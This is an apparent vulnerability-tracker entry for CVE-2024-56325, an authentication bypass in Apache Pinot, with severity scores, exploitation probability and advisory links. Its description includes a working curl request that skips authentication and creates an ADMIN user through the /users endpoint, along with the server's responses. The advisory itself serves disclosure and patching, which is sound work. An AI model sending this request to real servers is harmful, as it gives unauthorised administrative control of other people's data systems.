CVE-2024-56325
Authentication Bypass Issue If the path does not contain / and contain., authentication is not required.
Does this matter?
EPSS puts the probability of exploitation in the next 30 days at 80.2%, higher than 100% of all known CVEs. Patch or mitigate before the next change window.
Description
Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.
- CVSS 3.1
- 9.8 CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- EPSS
- 80.21% probability · 100th percentile
- CISA KEV
- Not listed
- Weakness
- CWE-288
- Affected
- apache/pinot
- Source
- security@apache.org
References
- https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8vMailing List, Vendor Advisory
- http://www.openwall.com/lists/oss-security/2025/03/27/8Mailing List, Third Party Advisory
Source: NVD record, EPSS from FIRST.org, KEV from CISA. Refreshed daily.